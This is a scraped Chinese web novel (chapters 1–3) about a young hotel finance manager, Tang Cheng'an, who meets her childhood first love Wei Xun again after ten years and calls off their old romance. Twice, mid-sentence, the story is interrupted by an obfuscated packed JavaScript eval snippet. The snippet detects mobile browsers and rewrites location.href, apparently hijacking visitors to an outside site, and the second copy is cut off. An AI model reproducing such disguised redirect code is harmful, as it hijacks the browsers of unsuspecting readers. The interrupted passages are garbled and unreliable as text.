《零零竹马初恋重逢即失恋[年代]》 1. 《街头霸王》 南州,不过就是一个普普通通的小县城,一个普通到——连千禧年改革浪潮似乎都遗忘了这里。 可正是这么一个风平浪静的小城,某条不知名小巷中的小型网吧今天却破天荒地成为风暴中心。 刺鼻的烟酒臭与康师傅红烧牛肉面厚重的卤汁混杂在一起,油腻腻的空气令人退避三舍。 “你哭着对我说~童话里都是骗……zi——” 一旁杂货店原本正常播放的音响突然被人为打断,刺耳的电流声瞬间充斥整个狭小空间。 乌泱泱一大片人头你推我搡地聚集在网吧门口向里头张望,人群中心是一位年纪不大的姑娘。 “唐玉山!你给我死出来!” 这姑娘本就气势逼人,麦克风又再度将她的怒气放大几倍,气氛紧张。 “我数到十,你再不出来我就踹门了!” 然而即便是搬出音响喊人的阵仗,那位叫唐玉山的大人物依旧不为所动。 年轻姑娘身边跟着的一位中年妇女怯生生地扯了扯她的衣角,苦口婆心弱弱劝道:“成安呐,你这样不好吧……那可是你爸啊。” 唐成安和唐玉山,显而易见,那是写在同一本家谱上的亲生父女。 当举国上下都在追捧去年雅典奥运会上一举夺冠的刘翔时,唐家的这位老父亲也十分争气地在南州博得了个响当当的“飞毛腿”称号,只不过这条飞毛腿不在跑步,而在跑路。 半百的年纪都用来换工作了,从商店售货员到邮递员,大大小小什么活都干过,愣是待不过一年。 对工作不上心,反而对赌桌相当长情。 全南州唯一一家藏了棋牌室的网吧,还真就让他那双十几年的老花眼给找着了。 “赵姐,你护着他干什么呀?不把他抓回去这家伙根本不知悔改。”唐成安依旧不松口。 赵姐面露难色:“哎呀,我就是觉得没必要让你爸他这么没面子嘛。” 唐成安简直气不打一处来:“让他没面子?他还有什么面子,我的脸都被他一起丢光了。” 她一想到刚刚“死里逃生”的场面,便更是对已经一大把年纪还作天作地的唐玉山咬牙切齿。 其实她也不是非要唐玉山找到工作,毕竟五十多的岁数摆在面前,还能有什么就业优势? 况且唐成安自己就是南州最大酒店的财务经理,工资早就足够补贴家用。 可这位嘴上时常挂着“自食其力”口号的老爹,几十年来一直都不是省油的灯。 正经工作不做,非要倒买倒卖些所谓的“强效壮阳药”,并且坚信勤劳致富,不到一个月就卖出了最佳业绩。 也是不到一个月,来找麻烦的买家硬生生把唐家当成一日游打卡景点,不知道的还以为这儿有便宜捡呢。 可怜的唐成安为了收拾她这倒霉爹的残局,险些就要被那些上门要说法的受害者的唾沫淹死,百口莫辩的她最后只得拿出厚厚一沓钞票,一个个的这才堵住了嘴。 本就因为替不靠谱的老爹收拾完烂摊子而身心俱疲的唐成安,又无意中从告密者那儿听到唐玉山赌博的消息,这一来二去的操作简直就是火上浇油,怒火中烧的她直接不远万里亲自过来拔刀提人。 不过事到如今,唐玉山估计是轮不到秋后问斩了,唐成安当场就能用狗头铡给他铡成两半。 “那你也不能踹门哪!”赵姐一脸着急,企图拉住被冲昏头脑的唐成安,“这可是男厕所。” 唐成安倒是丝毫没有后退的想法,对着麦克风直言不讳:“男厕所怎么了?我唐成安五岁就在里面走过一遭,有什么好稀奇的。” 和她爹一样,唐成安也是个令人头大的角儿。 因为姓唐,唐成安几乎是打娘胎里就有一个“唐三藏”的外号。只不过这位唐长老向来不懂什么是以德服人,该出手时就出手。 与那些同龄女生不同,海报里秀色可餐的男明星在她眼中压根提不起半点兴趣,反倒整天就爱玩弹弓、爬高之类男孩儿才喜欢的游戏。 再加上有一回被他缺德的二哥骗去卖了头发换零花钱,头发贩子下手没有轻重,害得本是漂漂亮亮的小姑娘,一剪刀下去就成了个“四不像”的奇怪发型。 跳脱的性子加上头顶板寸,让唐成安在别人眼中活脱脱像个男孩子,不论是在女孩堆还是男孩堆里,她都能混得风生水起。 混得久了,自然也学到了些手段。 做事雷厉风行的习惯不仅让她只毕业两年就当上经理,更是把棘手不过的唐家治得服服帖帖。 所以对付唐玉山,她有的是办法。 唐成安坚定十足的威胁直直穿透男厕大门,让躲在隔间内避难的唐玉山不禁后脊发凉。 “这丫头疯了吧……” 他也没想到唐成安这次居然铁了心要把他逮回去,这会儿还真后怕不已。 他一个人蹲在马桶上喃喃自语,心里正想着有什么好办法能糊弄过去,旁边的隔间却突然轻飘飘冒出一句: “叔,您出去吧,她是您女儿,不会把您怎么样的。” 哈!没想到居然有个倒霉蛋陪他一起困在厕所里。 “我才不!”唐玉山还在嘴硬,“你是不知道我女儿那个人,今天要是被她抓住了,真能要我半条命。” 唐玉山一想到唐成安要把他剥皮挑筋的气势心就滴血。 “可是您躲在这里也不是办法,这件事迟早要面对的。”隔壁的小伙没放弃劝和,“更何况确实是您的不对。” “不要紧不要紧,”唐玉山倒是信心满满,“耗到我二儿子来就好,他肯定能想到办法救我。” “再说了,我就不信她还真敢进男厕……” 还没等唐玉山说完,唐成安的倒数已经到了最后一秒,说到做到的她不留情面直接踹门而入。 来势汹汹的一脚愣是把厕所里的二人吓得大气都不敢出。 “唐玉山!到现在了你都还是不肯出来吗?” 心存侥幸的唐玉山依然倔强地抵住隔间小门,迟迟不肯出去。 一股势要同恶势力斗争到底的精神让软蛋了大半辈子的唐玉山,这会儿倒是颇有骨气,即便唐成安再怎么恐吓他也坚决不迈出一步。 唐成安这下彻底没了耐心,恶狠狠地一个接一个推开小门。 渐渐逼近的撞击声令唐玉山缩在角落瑟瑟发抖,每一次响动都像是滴答倒计时的炸弹,说不定下一秒就能把他炸得尸骨无存。 心痛啊,没想到这丫头还真敢做这么绝…… 早知道就早点服软了。 一门心思抱头躲在角落等待审判的唐玉山双腿吓得直打哆嗦,牙关撞击得使他几乎说不出完整的句子,只能在心里默默祈祷。 可他不知默念了多少遍“菩萨保佑”也迟迟没有听见动静,这才敢松开耳朵,打开一条小缝朝外面偷看,却发现门外已经空无一人。 菩萨显灵啦? 劫后余生的他从未如此一身轻快,得意地哼着小曲儿寻找刚刚那位和他一起的年轻人:“小伙子,我说了没事吧?你也赶紧出来,躲厕所里真憋屈。” 可当唐玉山把所有隔间的门都打开一遍之后,那个年轻人居然人间蒸发了。 不会他就是菩萨下凡吧? - 唐玉山是平安无事了,可唐成安却平白无故多遭一难。 毕竟她也没料到厕所里竟然还有其他人。 本是针对唐玉山的力度,这会儿阴差阳错地把这个无辜的小伙子碰得鼻血直流,镜片也因此碎出一个大大的蜘蛛网状裂痕。 可怜这位在唐玉山心里下凡的“菩萨”,如今正坐在候诊室里对肆意流淌的鼻血无可奈何。 “实在对不起啊,我真不知道你在里面,”唐成安抱着一大卷卷纸连连道歉,年轻人的鼻血费了不少力气才得以止住,“我,我只是想吓一吓我爸,没想到把你误伤了。” 年轻人只是客气地笑了笑,没放在心上。 他乐呵呵的神情反倒更加增添唐成安心中的愧疚,满手血污看着就不像没事的样子。 “你别担心,医药费我肯定全包!”她极力想要弥补他什么,“你这个眼镜我也肯定 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她颇有信心地拍拍胸脯向他担保:“而且挂号的这位医生是我从小就认识的老师傅,我让他给你好好看看伤,不久就能恢复。” 年轻人接触到她诚意满满的视线,笑意温和。 “127号,127号!” 护士台的医务人员走出诊室门大声叫号,唐成安急忙拍了拍年轻人提醒:“127号,是你吧?” 年轻人想要低头确认号码牌,只是还没来得及看清楚鼻血便又流了出来,一脸囧样。 唐成安无奈替他瞧了一眼:“是你没错,我陪你一起过去。” 年轻人一开始还有些拒绝,但抵不过唐成安的热情,还没等他反应过来就被她拖到诊室门口。 “127号?”护士拿着挂号单核对信息,“是叫魏寻对吧?” “魏寻?”唐成安突然撤出手连连后退,脚步趔趄了几下险些把自己绊倒,“你是魏寻?!” 突如其来的消息让她一时忘记控制音调,惹得周围人齐刷刷投来目光。 魏寻见到唐成安的反应表情有些尴尬,强颜欢笑点了点头:“成安,好久不见。” 唐成安的视线瞬间落在魏寻身上,眼神从头到尾打量了一遍。 眼前人顶着一头杂草似的头发,随意地盖在额前,两个黑眼圈像是要长到颧骨一样,连鼻梁上呆板的黑框眼镜都遮盖不住,甚至隐隐约约还能看到上嘴唇青青的胡子,丧气得像被乌云团住似的。 身上皱巴巴的褪色衬衫显得那几滴鼻血更加扎眼,整个人窘迫不堪。 “魏寻?”诊室里的医生闻声也探出一个头,“你从北京回来了?” 魏寻礼貌问了个好,目光却无法从唐成安僵住的脸上离开。 他也似乎意识到了什么,收起原本想说的话。 医生见到这场面稀奇不已,对着二人开起玩笑:“哟,刚好成安也在哪,你们这一对儿也十年没见了吧?这是打算回来再续前缘?” 可平常能说会道的唐成安这次竟不自觉向门框外缩了缩,垂着头想要躲避视线。 “您别打趣我们了,”魏寻走进诊室挡住唐成安,看出了她的心思,“还是赶紧帮我看看鼻子吧。” 直到魏寻从身边走开,唐成安才敢抬起头偷眼看他。 诊室里医生照常拿起电筒检查魏寻受伤的鼻梁,明明只有拇指大小的电筒却刺痛了唐成安的眼睛。 唐成安确定眼前的人就是魏寻。 因为男人鼻梁上曾经被她用笔误伤,后来变成那块像痣一样的黑点还清清楚楚地留在脸上,她不可能认错。 雷医生是位稳重老成的医生,自然不会乱点鸳鸯谱。 能说出那句玩笑,无非是因为唐成安曾经干出的那件在南州十年也过不去的破事。 故事的主角正是眼前这位久别重逢的天才少年—— 这位唐成安轰轰烈烈的初恋。 唐成安不敢再看下去了,转身背靠门框欲哭无泪。 她从来没想到,自己的初恋居然以这样一种天雷滚滚的形式结束了。 2. 优酸乳 关于唐成安的这位初恋,还得从1993年说起。 90年代是个万象更新的时代,夹克衫和连衣裙形成新的浪潮,势如破竹地震荡全国时尚界。 各种风味的餐馆犹如雨后春笋般冒出头来,五花八门的菜系让“下馆子”成为当时人人都挂在嘴边的口头禅。 然而无论时代如何变迁,北边的唐家四口人,永远都是南州人眼中地地道道的刺头儿。 以老爹唐玉山为首,剩下三兄妹多多少少深得他的遗传。 大哥唐成国早年为了补贴家用,主动辍学开起货车,回家的次数屈指可数。 人人都说这个小大人日日拉的不是货,是家里的糟心事。 老二唐成泰比起他的倒霉爹来可毫不逊色,游手好闲的程度也是在南州榜上有名。 唐成安是唯一一个被街坊邻居看着长大的,从小到大鬼机灵得很,让人又爱又恨。 年少的激情都用来上蹿下跳找麻烦了,哪还分的出什么用到功课上呢? 所以唐成安从小学开始就经常拿着不及格的卷子回家交差,她老爹和二哥自己就不成器,对此也无话可说,但逃不过她那位神勇的大哥啊。 每回被大哥发现那揉成咸菜的可怜试卷,唐成国看她的眼神就像刀子划拉在身上一样,捅得她生疼,血涓涓地流似的。 小升初那会儿唐成国对妹妹了如指掌,特地请了长假,亲自盯着唐成安复习备考。 在这样的半推半就下可算是度过一劫,不过从此唐成安见到大哥就发怵,直冒冷汗。 被这“炼狱生活”吓怕了,唐成安一升上初中就想着各种法子把这没眼看的成绩往上托一托。 这位唐长老取了一路的经,总算是从朋友那儿听来了可靠的办法——找南州有名的高材生魏寻补习。 没成想这趟竟入了女儿国,挪不动脚了。 按计划一大早唐成安便提着一大袋的果丹皮和娃哈哈兴冲冲地去了魏寻宿舍“守株待兔”。 她想,这些零食都是她从学校门口小卖铺阿姨口里打探来卖得最好的几样,肯定能把魏寻那张拒绝的嘴堵死。 就算他大公无私不受赂,那自己就撒撒娇,死皮赖脸地求他,就不信他还能死心眼儿。 唐成安觉得自己的计划简直天衣无缝,美滋滋地晃起了腿。 “阿寻,就她找你。” 唐成安听到了声音,扭头看过去。 往后的余生里,她也永远记得那天—— 七点的太阳刚刚升起,暖黄色的阳光轻轻撒下,夏蝉长长地唱着,宿舍楼有些老旧,偶尔散发出淡淡的木香。 里面走出的少年穿着干净的白色短袖,上面印了香樟摇曳的疏影,一步一步在女孩的眼眸中放大,悄悄留在了心里。 只是这位少年想不到,这样一个早晨过后,他就多了个跟屁虫。 她像那天的太阳一样明媚,热烈得有些令人招架不住。 - 这下唐成安哪里还有一丝学习的念头,大多时候都是打着补习的幌子,粘着魏寻犯花痴罢了。 有一回她学着过洋节,即使明知道距离那年的情人节已经过去两个月,可她还是以情人节礼物的名义塞了一盒当时相当跑火的金帝榛仁巧克力给魏寻,打开就是一张喷了香水的粉红字条,赫然写着几个大字: 「魏寻我喜欢你」 这可给了魏寻不小冲击,吓得他愣是好几天没敢理唐成安,时时刻刻避着她。 唐成安哪里是个善罢甘休的人,魏寻没给她回应她就一直跟着他,非得从那张金口里逼出那几个字来。 但她跟了几天,从宿舍到早餐店,甚至到了教室,魏寻座位边上,魏寻都对此闭口不谈。 那就一不做二不休,豁出去了! 唐成安瞒着所有人,在大晚上来到魏寻宿舍楼下,却又担心夜色太晚打扰到别人,所以只敢举着个老式手电筒,朝魏寻所在的寝室玻璃晃了晃。 然而无论电筒中射出的光线再怎么闪烁,魏寻的寝室始终平静得像那晚无风的夜空一样,丝毫没有任何动静。 唐成安没了耐心,这一次她誓死也要撬开魏寻的嘴,剖开他的心脏问出些什么,哪怕是拒绝。 于是她挺了挺身在原地站好,对着魏寻的房间不顾一切大喊: “魏寻,你听好了,我唐成安喜欢你,不管你想做什么,不管你将来会成为怎样的人,我都喜欢你!” “南州太小啦,装不下我对你的喜欢,所以我要天上的星星作证,我唐成安非常非常喜欢你!” 这大阵仗硬生生把整栋楼的人都惊醒了,齐刷刷地等着看热闹。 魏寻见实在躲不过,着急忙慌扯了件衣服披上,噔噔噔地下了楼。 见着朝思暮想的魏寻不再躲避,真真切切地出现在自己面前,唐成安仿佛尝到了最甜的野蜂蜜一样,眼里亮闪闪地等着魏寻走来。 魏寻却没多言语,只是递给了她一本墨绿色封皮的笔记,他挠了挠耳朵,断断续续地说道: “咳咳……这个给你,里面……里面有我要说的话。这么晚了,我送你回家吧,别让家人担心。” 唐成安把笔记紧紧抱在怀里,踩着一路昏黄的路灯,心跳声代替了隐停的蝉鸣。 一回到家,唐成安就迫不及待地翻开笔记,抽出了夹在里头的纸条,是魏寻的笔迹,上面写道: 「唐成安,我要考大学,至少要离开十年。 其实你很聪明,只是收不住心。 你要明白,一个人只有找到自己之后,才能去追逐别人。 所以这十年里我更希望看到你能够真正用心学习,有更明确的目标,成为更好的自己。 希望我的笔记能帮到你。 ——魏寻」 魏寻的字干净工整,笔画里可见明显的笔锋,是典型优等生的字体。 但唐成安直接忽略其他文字,眼神全落在“离开十年”这几个字上了。 这可万万不行!十年都不联系,爹妈也能忘了吧。 唐成安意识到自己必须要做些什么。 于是一个星期后,魏寻就接到了一大摞的信。 整整十年,每年一封。 小时候的唐成安认为喜欢一个人就是要无时无刻想着对方,心里满满填进的都是他。 真正的爱情就是可以为了他做任何事,也可以放弃任何事。 唐成安的喜欢没骗人,魏寻离开十年也没骗人。 十多年,二人真的没了联系。 其实十年时光并不长,因为唐成安知道,只要人有念想,哪怕再多几个十年,等待也都是值得的。 所以她并没有因为这个数字停止脚步。 然而现实似乎与幻想不太一样。 她心心念念了十多年的女儿国国王,久别重逢后居然变成炸毛的青狮精了?! 唐成安跌坐在候诊室的铁板凳上,倔强地不想让眼泪流下来。 她不知道是因为被医院里浓重的消毒水味熏到了眼睛,还是因为她那个被雷劈般了的初恋。 “谢谢雷医生。” 处理完伤口的魏寻从诊室出来,奈何唐成安一听到他的声音,就像是干了什么亏心事一样想要逃离。 “没关系,你回去吧。”魏寻察觉出她的不自在,不想让气氛太难堪,于是主动递了个台阶。 唐成安这才意识到自己表现实在不太礼貌,连忙否定道:“不行不行,我说了要对你负责到底的,现在走怎么行?” 她挠了挠脸颊,还是不敢对上魏寻的目光:“我,我们也确实很久没见了,要不出去外面聊聊?” “嗯好。”魏寻轻声答应。 得到回复的唐成安迅速闷头从魏寻身边穿过,此刻尴尬的氛围简直令她窒息。 也许是内心太过于纠结这次大跌眼镜的重逢,才让她没有发现魏寻眸底一闪而过的情绪。 - 徐徐晚风消去白日的溽暑,蝉鸣在入深时刻更显聒噪,或许是因为背靠医院,此刻的空气是难得的安静祥和。 “喝吗?” 唐成安买下一旁杂货店货架上仅剩的两盒优酸乳,在原味和草莓味中纠结了一会儿,最终还是决定把自己更喜欢的原味递给魏寻。 两人肩并肩坐在医院门口的石阶上,抬头望着头顶黑黢黢的天空。 今天月亮皎白得很,但看不见星星,大片的黑不免让人觉得有些压抑。 又或许不是因为藏起来的星星,而是并排坐着低气压的两人。 “真是对不起啊,害得你刚回来就负伤。”唐成安羞愧得摸了摸鼻子。 魏寻先是呆住了一会儿,然后又笑了起来:“没事的,你都道过几次歉了。” 魏寻笑起来和别人都不一样,他的笑意一直都很浅淡,笑声低低的,肩膀也会跟着笑容微耸起来。 唐成安赶紧转头,不自在地捋了捋头发,眼神一上一下飘忽不定: “你什么时候回来的?怎么都不告诉我们一声。” “昨晚刚到,”魏寻语气平淡,“回来一趟也没必要兴师动众的。” 唐成安微微点头,看着魏寻出神。 两人话题没持续多久,空气又再次被窒息的沉默笼罩。 “这,这优酸乳果然还是酸的吼。”唐成安显然有点没话硬找。 魏寻侧过头看向她,声音还是那样温柔:“成安,你是不是有事要和我说?” 唐成安像是被戳中心事一般,一股脑就把优酸乳喝干了,满脸写着心虚。 魏寻见她迟迟不肯开口,又补充道:“我知道这十几年发生很多事,没关系,你都可以和我说。” 他话里有话,仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641436|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛隐约预感到唐成安想要说的事情。 不过无论魏寻是什么想法,唐成安的态度已经很明确了——确实是该早点了结这段孽缘。 她把已经空盒的优酸乳放在一旁,紧张地抠着手指。 “那什么……你知道的,小时候哪懂什么是爱情啊,那段时间缠着你给你添了不少麻烦,真是对不起。” “还有那些没过脑子的浑话你也别放心上哈!我们……我们以后就好好做一对普通朋友!” 唐成安哪里顾得着在解释什么,她全程压根就没胆子直视魏寻,可是在余光里,她却似乎能隐约感受到魏寻一直在呆呆地盯着自己。 不过唐成安没多在意,只当是错觉。 “这些事是我惹出来的,你放心,最近我就会跟大家解释清楚的,而且我保证会和你保持距离,不给你惹麻烦。”她故作轻松地说。 魏寻的回复听不出情绪:“嗯,这样也好。” 唐成安见魏寻反应如此平静,心里头松了一口气,可又感觉有些不明来由的别扭。 “这次回来你打算住哪?”尴尬的气氛总算过去,唐成安见好就收,瞥到腕表表盘上的指针,这才发现时间已经挺晚的了,“你现在不能再住福利院或者宿舍了吧。” 魏寻是个孤儿,几个月大就被狠心的爹娘放在了福利院门口,襁褓里只塞了一张写着名字和生日的纸条,其他的什么都没留下。 唐成安有时候想,既然都好好取了个名字,总有一天会找来的吧。 可惜那会儿路边监控还不普遍,一直都没能找到这对夫妇。 其实,魏寻大部分时候都挺孤独的。 魏寻:“南州最近建了个人才公寓,我可以住那里。” “那好呀,那块离我上班的酒店近,你平常可以来酒店吃,我给你打折!”唐成安这话说的都有股老板娘的气势了。 魏寻眨巴眨巴眼睛说道:“这不太好吧……” “没事的,我家那两头猪还不是天天跑去蹭?”唐成安一脸恨铁不成钢的样子,“再说了,你这位从北京回来的才子,大家都会很乐意招待你的。” 魏寻脸上表情有点僵住,轻叹一声转过头去。 “其实……去北京也没那么开心……” 唐成安看着魏寻温沉的眼睛,总觉得里面藏了许多心事,很深很深,不想让人看出来。 “所以你才回南州的?”唐成安歪着个脑袋,脚轻轻点着地,哒哒哒拍出声音。 然而魏寻只是沉默着,什么也没说。 这一次的沉默,长久到一直没能找到打破的话题。 在寂静的夜晚下,两人十年后的第一次碰面,就这样以一个没有答案的问句结束了。 - 晚上唐成安洗漱完回到卧室,打开了桌上的台灯,台灯底下就放着之前魏寻留下的笔记本。 崭新崭新的,足以见出主人的爱护程度。 唐成安又翻出了里面夹着的那张纸条: 「唐成安,我要考大学,至少要离开十年。」 她用指腹摩挲着这张十几年前的纸条,朦胧的灯光把纸条照得泛起淡淡的黄色,仿佛这十几年的时光映照在纸上,无声地飞驰而过。 她突然来了兴致,翻箱倒柜地在抽屉里找出了曾经的日记本: 「1994年4月20日·晴 魏寻今天就要正式闭关冲省城一中了,他说人的眼睛有五亿像素,是一定要去见更广大的世界的。 我当然支持他。 但是十年真的好久哇…… 十年后门口的大黄还能冲人瞎叫唤吗?王叔叔家的酸菜也大概腌好了吧?陆大妈小超市门口的铁树估计都能见着一次开花,不过老陈家刚生的小娃娃肯定是可以握着弹弓四处打人了…… 十年,十年,十年之后还会有十年吗…… …… 1994年4月27日·多云 今天我可好不容易托关系把那十封信交给了魏寻,希望狗蛋不要收了钱不干事。 我知道,杨过等了绝情谷的小龙女十六年,所以十年其实也没什么。 李阮芷曾对余鱼同说:“千山万水,苦随君行。” 无论十年之间会怎么样,十年之后又会是什么样,魏寻,我都等你。」 唐成安看了有些说不出话来,十二岁的自己会想到有这么一天,自己对着蓬头垢面的魏寻,已经说不出一句喜欢吗? 十多年,魏寻送走了那个意气风发,一心想去外面闯荡的青春少年,唐成安又何尝没有道别那个朝思暮想、一往情深的女孩呢? 房间外面是唐成泰跟着他新到手的MP3深情演唱,唐成安缩进被子里,使劲拿枕头捂着耳朵,但一闭眼又满脑子都是今晚魏寻满脸鼻血的狼狈模样。 哎哟……这日子怎么过成这样儿了…… 3. 喔喔奶糖 这下南州可出了个大新闻: 唐家小妹和魏姓才子,南州人眼中的金童玉女,居然分手了?! “诶诶诶!起床了!!”唐成泰一大早就拍着唐成安的脸把她叫醒,“跟我去水库捞鱼。” 唐成安睡意朦胧地白了他一眼,转身继续做着她的黄粱美梦。 没想到唐成泰对这事如此执着,直接把被窝里的唐成安揪起来洗漱,拖着她来到了水库。 唐成安哪里是个好伺候的主儿,莫名其妙被拉来当劳动力,现在正窝着一肚子火呢。 “啧,生什么气嘛!这儿山清水秀的多好。”唐成泰捞着鱼还能调侃一句。 唐成安黑着张脸,感觉下一秒就要谋害亲哥了。 突然唐成泰用手肘碰了碰她:“呦呵,你看那边,这不是你‘前夫’吗?” 唐成安朝指的方向望去,果然看到了魏寻。 他手上捧着个电脑,不知道在点些什么。 “不去聊聊?”唐成泰语调提高,露出看戏的表情。 “去什么去啊,尴尬死了。” “得了吧,你还真以为人家对你恋恋不忘啊?”唐成泰不屑一顾,“你这样扭扭捏捏反倒更显得心里有鬼,还不如大大方方地去和人家说话,这哪里尴尬了?” 这一句话倒是一语点醒梦中人。 是啊,大大方方的最好。 没想到唐成泰平时看起来像脑子缺根弦似的,这次主意出的倒还不错。 她整理了下头发,慢慢走了过去。 “嘿!”唐成安轻轻拍了一下魏寻的肩膀,“喔喔奶糖,吃么?” 魏寻一时没反应过来,定住了一会儿,唐成安见他傻乎乎走神的样子憋不住笑,直接把手里的奶糖塞入他的口袋。 “你怎么身上总是带着小零食?”回过神的魏寻忍不住调侃一句。 “唐成泰这家伙一大早上不知道发什么神经,非要跑来捞鱼,”唐成安隔空朝她哥投了个白眼,“我怕他低血糖,就顺手带了几颗。” “你这又是在做什么呢?”唐成安突然话题一转,指了指魏寻手上的笔记本电脑。 “哦,我在做南州的数据地图呢。” 魏寻边说边低头重新忙了起来,手指在键盘上哒哒哒地不知道在打些什么。 唐成安斜着眼睛偷偷看了看身边的魏寻。 今天的魏寻好像剃干净了胡子,没有前几天第一次见面时青青的印子。 现在唐成安才发现,魏寻的皮肤其实很白,隐隐约约还能透露出曾经十四五岁青涩朝气的模样。 而且她还发现,即使自己已经站在斜坡稍高的一端,比起魏寻来还是矮了一截。 他什么时候长得这么高了? 唐成安越来越感觉到,现在的魏寻已经离自己的记忆越来越远了。 “你怎么会这个的?”唐成安从没听过数据地图这个东西,有点好奇。 “因为我在大学读的是IT专业。” 唐成安这才反应过来,魏寻回来好几天了,却从没主动提过他的大学生活。 背井离乡的这十几年,他究竟经历了什么? 唐成安想着想着出了神,眼睛一直盯着魏寻。 “IT就是信息技术,说简单点就是会电脑。”魏寻耐心地解释着,以为小姑娘看着他的灼热目光是因为听不懂。 唐成安瘪了瘪嘴,电脑这稀奇物件还是交给您这位才子吧。 “你做这个干什么?而且还来这里做,难不成这里信号更好?” 水库建在南州后山里,树木层层叠叠的,人很难爬上去。 要不是被唐成泰这个缺心眼的一大早生拉硬拽扯过来,她平日里才不会想着上来。 再说魏寻还捧着个电脑这种珍贵物件,不怕给它摔了? 魏寻把电脑轻轻合上,托住下端放在身侧,抬起头从坡上望向远方。 “春天南州的樱花一簇一簇的,金黄阳光下的绯红,清澈温柔。” “过完了年,陆陆续续开始有人离开,所以大家早早就开始准备灯会,相信爱意会随着灯火传达到任何地方。” “夏天最热闹,放了暑假的孩子们在北湖里游泳欢腾,鹈鹕也不怕人,跟在他们后头扑腾脚蹼,啪嗒嗒拍出水花。” “晚上还有夜市,家里的小朋友又会缠着大人买馋嘴的糖葫芦。” “一到秋天,地里的瓢儿菜,山上的石榴树就都熟了,大人们会喊上几个还没开学的孩子,背着竹篓,扛起锄头忙忙碌碌。” “冒泡的温泉在冬日最受欢迎,有时候抢位置都抢不到,所以总是有那么几家老顾客,天还不见光就坐在售票口排队。” 如果没听魏寻这番话,唐成安还真是从来没有想到,自己生活了二十多年的南州,其实也是这么热闹。 “南州很美,”魏寻转过头看着唐成安,眼里是额前乱蓬蓬的头发也挡不住的神采, “我想让外面的人也看看。” “这里是南州最高点,一次能看到整个南州。”魏寻又继续说着,“数据地图要精确每一个地标的位置,所以我才来这里。” “其实……这里已经不是最高的地方了……这座山好多年前坍塌过一次,那回过后就被削平了不少。”唐成安摸了摸后脖子,“县政府八年前在西边的山头上搭了一个信号台,现在那儿才是最高的。” 唐成安看出了魏寻脸上有些凝滞的表情,有点不好意思继续说下去。 “而且……而且大家现在已经不种石榴,改成一年四收的金桔了。” “还有温泉……几年前有检测人员发现铁元素超标,早就关停了……” 她似乎第一次真真切切感受到魏寻离开的十年——十几年的时光在魏寻的记忆里具象化了。 她觉得,现在的魏寻,无论是北京,还是南州,都不是他的家。 “不过你别担心啊,我陪你去信号台,帮你做那个什么数据地图!”唐成安用力拍了拍魏寻的背,企图赶走点他身上的失意。 魏寻被这突然的热情吓了一跳,却也抑制不住地勾了勾笑,两个人就这样对视着安心地笑起来。 当然,如果没有唐成泰突然一声哀嚎打扰就好了。 唐成安和魏寻闻声急忙跑过去,一眼就看见摔进了水库里的唐成泰。 “怎么了,不要紧吧?” “哎呀,这不是没站稳,被鱼给扯下来了嘛!哈哈哈好多鱼啊!” 唐成安顿时觉得刚才的担心都被喂了狗。 她和魏寻简直就像被现在在水库里和鱼一样的唐成泰甩了一尾巴水,浇成了落汤鸡。 “哎呦哎呦!”唐成泰忽然惊叫了起来,“这王八咬我手!” 说着就看见一只甲鱼咬着他的手指被提出水面。 “你带了什么别的电器吗?”唐成安双手交叉在胸前一本正经地问魏寻,“我想把他电死。” - 与魏寻道别后,唐成安搀着她流着水的二哥回到了唐家小院,刚进门就听见从客厅传来的电话铃声。 “这唐玉山又爬上哪个麻将桌了?”她小声暗骂了几句,接起电话,“喂?哪位?” “成安,是我。”对面传来唐成国的声音。 “大哥!”时隔一周才等到大哥的来电,唐成安又惊又喜,“你是不是要回来了?” “没这么快,突然来了一批大单,车队里人手不够,我得去帮忙。”唐成国那头时不时冒出几句吆喝,很忙碌的样子。 唐成安无聊地把电话线缠绕在指头上,表情有些闷闷不乐:“这回又要跑多远?” “七百多公里吧,不算远。”唐成国听得出她的情绪,“你大哥我可是老司机了,别担心。” “一趟七百多公里还不远呢?人家跑一天也才这个数吧。” 唐成安对他大哥自找苦吃的行为非常不理解,忍不住小声嘟囔,唐成国知道小妹是关心自己,冲她无奈笑了笑。 “哦对,唐玉山是不是又惹麻烦了?”唐成国想起正事,“情况我都听唐成泰说了。” “没有没有,不是什么大事。”唐成安急忙否认,即使自己说这话的时候都没什么底气,“你也知道唐成泰那个人,总是喜欢大惊小怪的。” 她想,要是唐玉山卖药赔偿这件事真传到大哥耳朵里,托她那没眼力见儿的二哥的福,唐玉山这把五十多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她找到魏寻的房间,轻轻敲了三下,魏寻打开门看见她,很热情地邀她进来。 唐成安看了看四周,感觉魏寻整间房好像还没有唐家外头的院子大。 “我没什么家具,要不你先坐床上吧。”魏寻有些尴尬,发现自己的房子原来连一个客人都招待不了。 “没事,我站一会儿就行。”唐成安觉得坐别人床上实在不太礼貌,于是拒绝了魏寻的好意。 她好不容易找了个下脚的地方,然后抬起头看着他。 魏寻没开灯,整个房间就只有电脑的光暗暗地亮着,照在他一半的脸上。 她发现魏寻前几天被她误伤而磕坏的眼镜居然还没有换,蜘蛛网一样的裂痕就快和他眼睛一样大了。 “你怎么还不换镜片?是我给的钱不够吗?”说着唐成安就打算再从钱包里拿出几张钞票。 魏寻连忙摆摆手:“没有没有,我只是暂时有点忙,还没,没时间去换……” 唐成安轻叹一口气,一把扯下魏寻的眼镜,把碎了的那块镜片拆下来,表情无奈:“我帮你去换,你多少度的?” “八,八百……” “多少?!”唐成安吓了一跳,“你眼睛什么时候坏成这样了?” 魏寻挠挠头:“高中经常学得太晚,眼睛就开始坏了。大学学IT,天天和电脑打交道,度数也就更高了……” 唐成安一时不知道说些什么。 好像他离开的那十几年,坏掉的眼睛只是一个引线。 